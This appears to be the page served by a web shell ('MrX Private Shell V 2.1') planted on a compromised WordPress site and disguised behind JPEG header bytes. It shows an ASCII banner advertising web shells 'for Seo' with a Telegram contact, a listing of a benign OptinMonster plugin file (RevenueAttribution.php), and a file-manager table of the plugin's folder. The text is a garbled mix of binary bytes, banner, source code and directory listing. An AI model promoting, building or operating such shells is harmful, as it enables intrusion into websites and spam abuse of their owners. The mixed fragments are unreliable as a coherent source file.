����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Revenue attribution class.
*
* @since 2.6.13
*
* @package OMAPI
* @author Thomas Griffin
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* The Revenue Attribution class.
*
* @since 2.6.13
*/
class OMAPI_RevenueAttribution {
/**
* Holds the class object.
*
* @since 2.6.13
*
* @var object
*/
public static $instance;
/**
* Path to the file.
*
* @since 2.6.13
*
* @var string
*/
public $file = __FILE__;
/**
* Holds the base class object.
*
* @since 2.6.13
*
* @var object
*/
public $base;
/**
* Primary class constructor.
*
* @since 2.6.13
*/
public function __construct() {
// Set our object.
$this->set();
}
/**
* Sets our object instance and base class instance.
*
* @since 2.6.13
*/
public function set() {
self::$instance = $this;
$this->base = OMAPI::get_instance();
}
/**
* Maybe stores revenue attribution data when a purchase is successful.
*
* @since 2.6.13
*
* @param array $data An array of revenue attribution data to store.
*
* @return bool|WP_Error True if successful, WP_Error or false otherwise.
*/
public function store( $data = array() ) {
// If revenue attribution is not turned on, return early.
$ra = $this->base->get_revenue_attribution();
if ( empty( $ra['enabled'] ) || empty( $ra['currency'] ) ) {
return false;
}
// If we can't find the account ID, return early.
$accountId = $this->base->get_option( 'accountId' );
if ( empty( $accountId ) ) {
return false;
}
// Build and send the request.
$api = OMAPI_Api::build( 'v2', 'revenue/' . $accountId, 'POST' );
return $api->request( $data );
}
/**
* Returns revenue attribution data.
*
* @since 2.6.13
*
* @return array An array of revenue attribution data.
*/
public function get_revenue_data() {
// If we don't have any cookies set for OM campaigns, return early.
if ( empty( $_COOKIE['_omra'] ) ) {
return array();
}
// If revenue attribution is not turned on, return early.
$ra = $this->base->get_revenue_attribution();
if ( empty( $ra['enabled'] ) || empty( $ra['currency'] ) ) {
return array();
}
// Loop through and prepare the campaign data. If it is empty, return early.
$campaign_data = json_decode( stripslashes( rawurldecode( $_COOKIE['_omra'] ) ), true );
if ( empty( $campaign_data ) ) {
return array();
}
// Sanitize the campaign data before sending it back.
$sanitized_campaigns = array();
foreach ( $campaign_data as $campaign_id => $action ) {
$sanitized_campaigns[ esc_html( $campaign_id ) ] = esc_html( $action );
}
// Return the default revenue attribution data. Additional revenue
// data should be returned from the integration itself (such as
// the total, transaction ID, etc.).
return array(
'campaigns' => $sanitized_campaigns,
'currency' => esc_html( $ra['currency'] ),
'device' => wp_is_mobile() ? 'mobile' : 'desktop',
'type' => 'sale',
);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| EasyDigitalDownloads | Folder | 0755 |
|
|
| Elementor | Folder | 0755 |
|
|
| Integrations | Folder | 0755 |
|
|
| MemberPress | Folder | 0755 |
|
|
| Plugins | Folder | 0755 |
|
|
| Promos | Folder | 0755 |
|
|
| Rules | Folder | 0755 |
|
|
| Shortcodes | Folder | 0755 |
|
|
| WPForms | Folder | 0755 |
|
|
| WooCommerce | Folder | 0755 |
|
|
| Actions.php | File | 6.96 KB | 0644 |
|
| Ajax.php | File | 1.46 KB | 0644 |
|
| Api.php | File | 14.17 KB | 0644 |
|
| ApiAuth.php | File | 2.41 KB | 0644 |
|
| ApiKey.php | File | 5.08 KB | 0644 |
|
| AssetLoader.php | File | 5.59 KB | 0644 |
|
| BaseRestApi.php | File | 6.65 KB | 0644 |
|
| Blocks.php | File | 12.81 KB | 0644 |
|
| ClassicEditor.php | File | 6.92 KB | 0644 |
|
| ConstantContact.php | File | 7.42 KB | 0644 |
|
| Debug.php | File | 4.35 KB | 0644 |
|
| EasyDigitalDownloads.php | File | 9.33 KB | 0644 |
|
| Elementor.php | File | 5.36 KB | 0644 |
|
| Inserter.php | File | 11.29 KB | 0644 |
|
| InstallSkin.php | File | 1.35 KB | 0644 |
|
| InstallSkinCompat.php | File | 1.36 KB | 0644 |
|
| MailPoet.php | File | 13.36 KB | 0644 |
|
| MemberPress.php | File | 4.12 KB | 0644 |
|
| Menu.php | File | 16.88 KB | 0644 |
|
| Notifications.php | File | 18.47 KB | 0644 |
|
| OmuApi.php | File | 4.03 KB | 0644 |
|
| Output.php | File | 24.28 KB | 0644 |
|
| Pages.php | File | 17.61 KB | 0644 |
|
| Partners.php | File | 5.43 KB | 0644 |
|
| Plugins.php | File | 24.34 KB | 0644 |
|
| Promos.php | File | 1.11 KB | 0644 |
|
| Refresh.php | File | 5.75 KB | 0644 |
|
| RestApi.php | File | 38.58 KB | 0644 |
|
| RevenueAttribution.php | File | 2.97 KB | 0644 |
|
| Review.php | File | 1.45 KB | 0644 |
|
| Rules.php | File | 23.44 KB | 0644 |
|
| Save.php | File | 10.8 KB | 0644 |
|
| Shortcode.php | File | 3.58 KB | 0644 |
|
| Sites.php | File | 8.35 KB | 0644 |
|
| Support.php | File | 8.25 KB | 0644 |
|
| Type.php | File | 2.44 KB | 0644 |
|
| Urls.php | File | 8.64 KB | 0644 |
|
| Utils.php | File | 7.41 KB | 0644 |
|
| Validate.php | File | 9.06 KB | 0644 |
|
| WPForms.php | File | 2.6 KB | 0644 |
|
| Welcome.php | File | 4.81 KB | 0644 |
|
| Widget.php | File | 6.5 KB | 0644 |
|
| WooCommerce.php | File | 19.58 KB | 0644 |
|
| WpErrorException.php | File | 714 B | 0644 |
|